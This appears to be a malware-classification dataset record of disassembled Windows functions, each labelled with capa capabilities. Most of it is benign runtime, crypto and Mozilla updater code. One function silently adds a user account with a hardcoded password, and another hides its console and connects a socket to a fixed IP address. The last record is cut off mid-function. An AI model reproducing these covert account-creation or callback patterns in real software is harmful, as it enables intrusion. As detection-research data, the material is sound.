joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4154a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41564b
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.004304e0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
nop
jne 0x41550e
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x415521
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x415545
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x415559
cmp rbx, 0x1000
jae 0x415518
nop
jmp 0x4155c9
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x41556d
xor edx, edx
jmp 0x4155c0
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.004304e0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop
test dl, dl
jne 0x41554f
jmp 0x415535
call fcn.0045dec0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00434840
lea rax, [0x004ce1fb]
mov ebx, 0x18
nop dword [rax + rax]
call fcn.00435140
mov rax, qword [rsp + 0x38]
call fcn.00434e40
lea rax, [0x004ce2a3]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00435140
mov rax, qword [rsp + 0x30]
call fcn.00434e40
call fcn.00434aa0
call fcn.004348c0
lea rax, [0x004d0d84]
mov ebx, 0x21
call fcn.004330a0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045a360
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004154a0
Function at 0x415680
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4158aa
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00430560
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x4156fb
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x41570e
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x415730
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x415744
cmp rbx, 0x1000
jae 0x415705
jmp 0x4157ce
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x415756
xor esi, esi
jmp 0x4157c0
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax]
call fcn.00430560
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
test sil, sil
jne 0x41573a
jmp 0x415722
call fcn.0045dec0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x415849
call fcn.00434840
lea rax, [0x004ce81b]
mov ebx, 0x19
call fcn.00435140
mov rax, qword [rsp + 0x68]
call fcn.00434e40
lea rax, [0x004ce2a3]
mov ebx, 0x19
nop
call fcn.00435140
mov eax, dword [rsp + 0x34]
call fcn.00434e40
call fcn.00434aa0
call fcn.004348c0
lea rax, [0x004c9d58]
mov ebx, 0xd
call fcn.004330a0
cmp eax, 0x5af
je 0x4157f3
call fcn.00434840
lea rax, [0x004ce81b]
mov ebx, 0x19
call fcn.00435140
mov rax, qword [rsp + 0x38]
call fcn.00434e40
lea rax, [0x004ce2a3]
mov ebx, 0x19
nop dword [rax]
call fcn.00435140
mov eax, dword [rsp + 0x34]
call fcn.00434e40
call fcn.00434aa0
call fcn.004348c0
lea rax, [0x004d05f1]
mov ebx, 0x1f
call fcn.004330a0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045a360
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00415680
Function at 0x41d560
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x005d1a73], 0
jne 0x41d64f
nop
nop
nop
nop
sub rbx, qword [rax + 0x18]
nop
mov edx, dword [rax + 0x5c]
imul rbx, rdx
mov rdx, rbx
shr rbx, 0x20
nop
shr rdx, 0x23
and ebx, 7
mov rsi, rcx
mov rcx, rbx
mov edi, 1
shl edi, cl
nop
add rdx, qword [rax + 0x50]
lock or byte [rdx], dil
nop
nop
mov rcx, qword [rax + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x41d645
lea rbx, [0x005a3ed0]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and edx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx ebx, byte [rdx + rcx + 0x21040]
lea rdx, [rdx + rcx]
lea rdx, [rdx + 0x21040]
shr rax, 0xd
and eax, 7
mov rcx, rax
mov eax, 1
shl eax, cl
nop dword [rax]
test al, bl
jne 0x41d627
lock or byte [rdx], al
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1248], rsi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov ecx, 0x40
call fcn.0045ca60
lea rax, [0x004d2882]
mov ebx, 0x2c
nop dword [rax + rax]
call fcn.004330a0
nop
int3
Function at 0x42c7c0
Capabilities:
Hash data using murmur3

Disassembly:
cmp rsp, qword [r14 + 0x18]
jbe 0x42ca66
sub rsp, 0x40
mov qword [rsp + 0x38], rbp
lea rbp, [rsp + 0x38]
test byte [rax], al
lea rsi, [rax + 0x1270]
mov rcx, qword [rax + 0x1260]
sub rcx, rsi
shr rcx, 3
cmp rcx, 0x200
ja 0x42ca5a
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rcx
mov qword [rax + 0x1260], 0
cmp byte [0x005d1a73], 0
jne 0x42c822
xor edx, edx
xor ebx, ebx
nop
jmp 0x42c86b
xor edx, edx
jmp 0x42c84e
mov qword [rsp + 0x28], rdx
mov rcx, qword [rax + rdx*8 + 0x1270]
mov rax, rcx
call fcn.0041cd80
mov rcx, qword [rsp + 0x28]
lea rdx, [rcx + 1]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
cmp rdx, rcx
jl 0x42c826
add rax, 0x1260
call fcn.0042c640
mov rbp, qword [rsp + 0x38]
add rsp, 0x40
ret
inc rdx
cmp rdx, rcx
jge 0x42c9f2
mov rsi, qword [rax + rdx*8 + 0x1270]
nop dword [rax]
cmp rsi, 0x1000
jb 0x42c868
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov rax, rsi
xor ebx, ebx
mov rcx, rbx
nop dword [rax + rax]
call fcn.00411920
test rax, rax
jne 0x42c8c2
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
nop
jmp 0x42c868
nop
mov rsi, rcx
shr rcx, 3
and esi, 7
mov rdx, rcx
mov rcx, rsi
mov r8d, 1
shl r8d, cl
nop
add rdx, qword [rbx + 0x50]
movzx esi, byte [rdx]
test r8b, sil
je 0x42c905
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
nop dword [rax]
jmp 0x42c868
nop
lock or byte [rdx], r8b
nop
nop
mov rcx, qword [rbx + 0x18]
nop
movabs rsi, 0x800000000000
lea r8, [rsi + rcx]
mov r9, r8
shr r8, 0x2a
cmp r8, 0x40
jae 0x42ca4d
lea r10, [0x005a3ed0]
mov r8, qword [r10 + r8*8]
shr r9, 0x16
and r9d, 0xfffff
mov r9, qword [r8 + r9*8]
test byte [r9], al
test byte [r8], al
mov r8, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx r10d, byte [r9 + rcx + 0x21040]
lea r9, [r9 + rcx]
lea r9, [r9 + 0x21040]
shr r8, 0xd
and r8d, 7
mov rcx, r8
mov r8d, 1
shl r8d, cl
test r8b, r10b
jne 0x42c98b
lock or byte [r9], r8b
movzx r8d, byte [rbx + 0x62]
test r8b, 1
je 0x42c9c5
mov r8, qword [rsp + 0x48]
mov r9, qword [r8 + 0x1248]
add r9, qword [rbx + 0x68]
mov qword [r8 + 0x1248], r9
mov rax, r8
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
nop
jmp 0x42c868
mov r8, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
cmp r8, rcx
jae 0x42ca45
mov r9, qword [rsp + 0x48]
mov qword [r9 + r8*8 + 0x1270], rax
lea rbx, [r8 + 1]
mov rax, r9
mov rdx, qword [rsp + 0x28]
jmp 0x42c868
cmp rbx, 0x200
ja 0x42ca37
lea rdx, [rax + 0x1270]
lea rsi, [rax + 0x1238]
mov rcx, rbx
mov edi, 0x200
mov rbx, rdx
mov rax, rsi
call fcn.004229a0
mov rdx, qword [rsp + 0x48]
lea rax, [rdx + 0x1260]
call fcn.0042c640
mov rbp, qword [rsp + 0x38]
add rsp, 0x40
ret
mov rcx, rbx
mov edx, 0x200
nop
call fcn.0045cac0
mov rax, r8
call fcn.0045ca40
mov rax, r8
mov ecx, 0x40
call fcn.0045ca60
mov edx, 0x200
nop
call fcn.0045caa0
nop
mov qword [rsp + 8], rax
call fcn.0045ea60
mov rax, qword [rsp + 8]
jmp fcn.0042c7c0
Function at 0x45c480
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x40248f
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
nop
call fcn.00408d80
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045a360
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x402460
cmp byte [0x005d1a72], 0
je 0x45c495
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x459460
jmp 0x402460

Function at 0x45c4a0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005d1d40]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x005d1a72], 0
je 0x45c4d5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005d2000]
aesenc xmm0, xmmword [0x005d2010]
aesenc xmm0, xmmword [0x005d2020]
movq rax, xmm0
ret
jmp 0x408f80

Function at 0x45c4e0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005d1d40]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x005d1a72], 0
je 0x45c516
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005d2000]
aesenc xmm0, xmmword [0x005d2010]
aesenc xmm0, xmmword [0x005d2020]
movq rax, xmm0
ret
jmp 0x408fe0

Function at 0x45de40
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x30
mov rcx, 0xfffffffffffffff4
mov qword [rsp], rcx
mov rax, qword [sym.imp.kernel32.dll_GetStdHandle]
call rax
mov rcx, rax
mov qword [rsp], rcx
lea rdx, [0x005d1f80]
mov qword [rsp + 8], rdx
lea r8d, [0x005d1a88]
mov qword [rsp + 0x10], r8
lea r9, [rsp + 0x28]
mov qword [r9], 0
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.kernel32.dll_WriteFile]
call rax
call fcn.0045c3c0
add rsp, 0x30
ret
Function at 0x478040
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x478146
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rsi
test r8, r8
je 0x4780c2
cmp rdi, r8
jb 0x478138
cmp rsi, rbx
je 0x4780a5
nop
mov rdx, rbx
lea rdi, [rsi + r8]
lea rdi, [rdi - 1]
cmp rdi, rbx
jb 0x4780a2
mov rdi, rsi
lea r9, [rdx + r8]
lea r9, [r9 - 1]
cmp r9, rsi
jae 0x478125
mov rbx, rdx
mov rsi, rdi
jmp 0x4780a5
mov rbx, rdx
movzx edx, byte [rax + 0x400]
movzx edi, byte [rax + 0x401]
lea r9, [r8 - 1]
cmp rcx, r9
jbe 0x47811d
xor ecx, ecx
nop
jmp 0x478101
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
movzx r9d, byte [rsi + rcx]
inc edx
movzx r10d, dl
mov r11d, dword [rax + r10*4]
add edi, r11d
movzx r12d, dil
mov r13d, dword [rax + r12*4]
mov dword [rax + r10*4], r13d
mov dword [rax + r12*4], r11d
lea r10d, [r11 + r13]
movzx r10d, r10b
xor r9d, dword [rax + r10*4]
mov byte [rbx + rcx], r9b
inc rcx
cmp r8, rcx
jg 0x4780cc
mov byte [rax + 0x400], dl
mov byte [rax + 0x401], dil
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rax, r9
call fcn.0045ca40
lea rax, [0x004b4760]
lea rbx, [0x004f83e0]
call fcn.00432920
mov rcx, r8
mov rdx, rdi
nop
call fcn.0045cac0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], r9
call fcn.0045a360
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
jmp fcn.00478040
Function at 0x140005bc0
Capabilities:
Check if file exists
Delete file

Disassembly:
push rsi
push rdi
sub rsp, 0x238
mov rax, qword [0x140036030]
xor rax, rsp
mov qword [rsp + 0x230], rax
cmp word [rcx], 0
je 0x140005c81
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140005c3c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
je 0x140005c3c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x140005c3c
mov eax, dword [0x140038330]
mov ecx, dword [0x140036d60]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x140005d0d
lea rdx, str.Could_not_delete_service_updater_path:__ls.
mov r8, rsi
call fcn.140008c60
lea rcx, [rsp + 0x20]
mov r8d, 0x20a
xor edx, edx
call fcn.14000b870
mov rcx, rsi
call fcn.140013abc
cmp rax, 0x104
ja 0x140005c81
lea rdi, [rsp + 0x20]
mov r8d, 0x105
mov rcx, rdi
mov rdx, rsi
call fcn.140013f84
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test eax, eax
jne 0x140005c9c
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140018400
nop
add rsp, 0x238
pop rdi
pop rsi
ret
lea rdx, str.updater.ini
lea rcx, [rsp + 0x20]
call fcn.140025930
test eax, eax
je 0x140005c81
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140005c81
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
je 0x140005c81
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x140005c81
mov eax, dword [0x140038330]
mov ecx, dword [0x140036d60]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x140005d4e
lea rdx, str.Could_not_delete_service_updater_INI_path:__ls.
lea r8, [rsp + 0x20]
call fcn.140008c60
jmp 0x140005c81
lea rcx, [0x140038330]
call fcn.14000a550
cmp dword [0x140038330], 0xffffffff
jne 0x140005c2d
mov qword [0x140038120], 0
lea rcx, [fcn.140001d00]
call fcn.14000a6e8
lea rcx, [0x140038330]
call fcn.14000a5b8
jmp 0x140005c2d
lea rcx, [0x140038330]
call fcn.14000a550
cmp dword [0x140038330], 0xffffffff
jne 0x140005cf7
mov qword [0x140038120], 0
lea rcx, [fcn.140001d00]
call fcn.14000a6e8
lea rcx, [0x140038330]
call fcn.14000a5b8
jmp 0x140005cf7
Function at 0x140008840
Capabilities:
Create directory
Get common file path

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rdi, rcx
mov rax, qword [0x140036030]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, [0x140027010]
xor esi, esi
lea r9, [rsp + 0x20]
mov edx, 0x8000
xor r8d, r8d
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
js 0x140008896
mov rbx, qword [rsp + 0x20]
mov rcx, rbx
call fcn.140013abc
cmp rax, 0x105
jb 0x1400088ad
mov rcx, rbx
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140018400
mov eax, esi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov r8d, 0x105
mov rcx, rdi
mov rdx, rbx
call fcn.140013f84
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.Mozilla_Maintenance_Service
mov rcx, rdi
call fcn.140025930
test eax, eax
je 0x140008896
xor esi, esi
mov rcx, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400088fa
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140008896
lea rdx, str.UpdateLogs
mov rcx, rdi
call fcn.140025930
test eax, eax
je 0x140008896
xor esi, esi
mov rcx, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000892f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140008896
mov esi, 1
jmp 0x140008896

Function at 0x140008a00
Capabilities:
Write file on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x468
mov esi, edx
mov rbx, rcx
mov rax, qword [0x140036030]
xor rax, rsp
mov qword [rsp + 0x460], rax
xor edi, edi
lea r14, [rsp + 0x40]
mov r8d, 0x20a
mov rcx, r14
xor edx, edx
call fcn.14000b870
mov rcx, r14
call fcn.140008840
test eax, eax
je 0x140008a76
xor edi, edi
lea r14, [rsp + 0x250]
mov r8d, 0x20a
mov rcx, r14
xor edx, edx
call fcn.14000b870
lea rdx, str..status
mov rcx, rbx
mov r8, r14
call fcn.140008940
test eax, eax
jne 0x140008a95
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140018400
mov eax, edi
add rsp, 0x468
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x250]
call fcn.140025930
test eax, eax
je 0x140008a76
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor edi, edi
lea rcx, [rsp + 0x40]
mov edx, 0x40000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140008a76
mov rbx, rax
lea rdi, [rsp + 0x250]
mov rcx, rdi
mov r8d, esi
call fcn.140025a90
mov rcx, rdi
call fcn.1400139a0
mov rsi, rax
mov qword [rsp + 0x20], 0
lea r14, [rsp + 0x3c]
mov rcx, rbx
mov rdx, rdi
mov r8d, esi
mov r9, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
setne al
cmp dword [r14], esi
sete cl
and cl, al
movzx edi, cl
jmp 0x140008a76
Function at 0x140008c60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x78], r9
mov rax, qword [0x140036030]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp qword [0x140038120], 0
je 0x140008cfa
mov rsi, rdx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov r9, qword [0x140038120]
lea rcx, str._Warning:
mov edx, 0xd
mov r8d, 1
call fcn.140013050
mov rbx, qword [rsp + 0x30]
mov rdi, qword [0x140038120]
call fcn.140001bf0
mov rcx, qword [rax]
mov qword [rsp + 0x20], rbx
mov rdx, rdi
mov r8, rsi
xor r9d, r9d
call fcn.14000c204
mov r9, qword [0x140038120]
lea rcx, str._n
mov edx, 4
mov r8d, 1
call fcn.140013050
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140018400
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
Function at 0x1800010c0
Capabilities:
Add user account
Get hostname
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x10180]
mov eax, 0x10280
call fcn.180002780
sub rsp, rax
mov rax, qword [0x180004008]
xor rax, rsp
mov qword [rbp + 0x10170], rax
movups xmm0, xmmword [str.Mndt14351435___]
movzx eax, word [0x180003220]
mov ebx, edx
movups xmm1, xmmword [0x180003210]
xor edx, edx
mov r8d, 0xde
lea rcx, [rbp - 0x6e]
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x70], ax
call sub.VCRUNTIME140.dll_memset
lea rcx, str.test0
call fcn.180001060
movsd xmm0, qword [str.mndt]
lea rcx, [rbp + 0x7a]
movzx eax, word [0x180003238]
xor edx, edx
mov r8d, 0xf6
movsd qword [rbp + 0x70], xmm0
mov word [rbp + 0x78], ax
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x5c], 0x7fff
mov eax, 0x44
mov word [rsp + 0x58], ax
mov dword [rsp + 0x60], 0
test ebx, ebx
je 0x180001287
sub ebx, 1
je 0x1800011a3
sub ebx, 1
je 0x180001197
cmp ebx, 1
jne 0x180001293
lea rcx, str.test9
jmp 0x18000128e
lea rcx, str.test8
jmp 0x18000128e
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x18000127e
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x18000127e
mov eax, dword [0x180004634]
lea rcx, str.test1
call fcn.180001060
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0
xorps xmm1, xmm1
lea rcx, str.test2
movdqu xmmword [rsp + 0x38], xmm0
movdqu xmmword [rsp + 0x48], xmm1
call fcn.180001060
lea rcx, str.test3
call fcn.180001060
lea rcx, str.test4
mov dword [rsp + 0x34], 1
call fcn.180001060
lea rax, [rsp + 0x70]
lea rcx, str.test5
mov qword [rsp + 0x28], rax
call fcn.180001060
lea rax, [rbp + 0x70]
lea rcx, str.test6
mov qword [rsp + 0x20], rax
call fcn.180001060
lea r9, [rsp + 0x60]
mov edx, 1
lea r8, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
je 0x18000127e
lea rcx, str.test7
jmp 0x18000128e
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.test10
call fcn.180001060
mov eax, 1
mov rcx, qword [rbp + 0x10170]
xor rcx, rsp
call fcn.1800012e0
mov rbx, qword [rsp + 0x10290]
add rsp, 0x10280
pop rbp
ret
Function at 0x140011208
Capabilities:
Terminate process

Disassembly:
jmp 0x140011e20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011294
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400145b0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400145d0
xor al, al
jmp 0x140014651
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400145e3
xor al, al
jmp 0x140014651
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001460d
xor al, al
jmp 0x140014651
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014621
xor al, al
jmp 0x140014651
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014633
xor al, al
jmp 0x140014651
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001464f
xor al, al
jmp 0x140014651
mov al, 1
add rsp, 0x38
ret
Function at 0x1400011f0
Capabilities:
Connect socket
Initialize winsock library
Terminate process

Disassembly:
push rbx
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ebx, 2
lea rdx, [rsp + 0x30]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000124b
lea ecx, [rbx - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r8d, r8d
mov ecx, ebx
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
lea rcx, str.172.31.210.99
mov qword [rsp + 0x28], 0
mov dword [0x140005678], eax
mov word [rsp + 0x20], bx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0xc355
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
movsxd rcx, dword [0x140005678]
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1400012d7
nop dword [rax + rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
